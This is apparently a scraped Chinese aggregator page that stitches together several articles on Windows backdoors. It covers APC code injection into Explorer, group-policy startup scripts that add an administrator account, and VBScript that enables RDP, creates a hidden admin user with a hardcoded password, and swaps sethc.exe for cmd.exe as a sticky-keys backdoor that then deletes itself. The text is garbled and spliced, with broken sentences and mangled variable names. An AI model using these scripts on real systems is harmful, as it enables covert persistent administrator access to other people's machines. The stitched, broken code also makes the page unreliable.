下面小编给大家整理开启后门的另一个思路(共含4篇),希望大家喜欢!同时,但愿您也能像本文投稿人“周六梦见了树人”一样,积极向本站投稿分享好文章。
向一个运行中的进程注入自己的代码,最自然莫过于使用CreateRemoteThread,如今远线程注入已经是泛滥成灾,同样的监测远线程注入、防止远线程注入的工具也举不胜举,一个木马或后门启动时向Explorer或IE的注入操作就像在自己脸上写上“我是贼”一样,
用户态代码想要更隐蔽地藏身于别的进程,就应该在注入的环节隐蔽自己的行为。下面就介绍一种非常简单不过比较暴力的方法,给出的示例为在Explorer里加载自己的dll。
首先提到的就是一个API:QueueUserAPC
大家对这个API应该并不陌生,它直接转入了系统服务NtQueueApcThread从而利用KeInsertQueueApc向给出的目标线程的APC队列插入一APC对象。倘若KiDeliverApc顺利的去构造apc环境并执行我们的代码那一切就OK了,只可惜没有那么顺利的事,ApcState中UserApcPending是否为TRUE有重要的影响,结果往往是你等到花儿都谢了你的代码还是没得到执行。在核心态往往不成问题,自己动手赋值,可是用户态程序可不好做,怎么办?其实最简单的,不好做就不做,让系统去干。
实际上应用程序在请求“alertable”的等待时系统就会置UserApcPending为TRUE(当KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject 使用TestForAlertPending时就有可能,此外还有KeTestAlertThread等,机会还是有的),最简单的例子,目标线程调用SleepEx(***, TRUE)后我们插入APC代码就会乖乖执行了,
比较幸运的是Explorer进程中一般情况下总有合我们意的线程,于是最简单但并不优美的办法就是枚举Explorer中所有线程,全数插入,示意如下:
1、组策略启动脚本
利用过程:启动组策略(运行->gpedit.msc->计算机配置->Windows 设置->脚本(启动/关机) )
2、启动与关机相关设置
选择启动->属性->添加,会弹出选择脚本名,
换个角度 开启后门的另一个思路
。选择程序 C:\windows\system32\net.exe,参数 user admin /add 来执行 net user admin /add。再同样添加C:\Windows\system32\net.exe localgroup administrators admin /add来执行 net localgroup administrators admin /add。
费话少说: 再经过进一步了解的时候发现这里是由C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\scripts.ini(PS:默认是隐藏的。)来控制 shutdown 和 Startup 的。
ini组成方式如下:
也就是说 scripts.ini 控制着整个启动,就如同以前 win.ini 一样,
《换个角度 开启后门的另一个思路》()。
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Startup\ 启动文件的目录,那样脚本名路径就可以不用加详细目录名了。
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\shutdown\ 关闭文件目录,同上。
思路就这样,copy 后门到非常隐藏的目录,再加个启动脚本参数,实现木马启动。
解决此缺陷的方法:组策略->计算机配置->管理模板->系统->脚本,相应的禁止就行了。
或者来招毒的,彻底禁止掉这个:把scripts.ini 对应用户权限全部删除,system administrators 全部取消,就没人能访问了。
以上在 Windows XP SP2 均已测试成功。
IIS是比较流行的www服务器,设置不当漏洞就很多,
如何开启永远的后门
,
入侵iis服务器后留下后门,以后就可以随时控制。一般的后门程序都是打开一个特殊的端口来监听,比如有nc,ntlm,rnc等等都是以一种类telnet的方式在服务器端监听远程的连接控制。不过一个比较防范严密的www站点
开启3389创建用户粘滞键后门,作研究使用,请勿违法
on error resume next
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = “.”
Set StdOut = WScript.StdOut
Set Reg=GetObject(“winmgmts:{impersonationLevel=impersonate}!\\” &_
strComputer & “\root\default:StdRegProv”)
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server”
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp”
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp”
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server”
strValueName = “fDenyTSConnections”
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp”
strValueName = “PortNumber”
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp”
strValueName = “PortNumber”
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username=“wykgif”:password=“wykgif123456”:end if:set wsnetwork=CreateObject(“WSCRIPT.NETWORK”):os=“WinNT://”&wsnetwork.ComputerName:Set b=GetObject(os):Set e=GetObject(os&“/Administrators,group”):Set d=ob.Create(“user”,username):od.SetPassword password:od.SetInfo:Set f=GetObject(os&“/”&username&“,user”):oe.Add(of.ADsPath)'wscript.echo of.ADsPath
On Error Resume Next
Dim obj, success
Set bj = CreateObject(“WScript.Shell”)
success = obj.run(“cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe”, 0, True)
CreateObject(“Scripting.FileSystemObject”).DeleteFile(WScript.ScriptName)
★ 修改后门经验谈
★ 另一个“我”
★ 另一个家作文
★ 另一个家园日记
★ 虫虫之另一个世界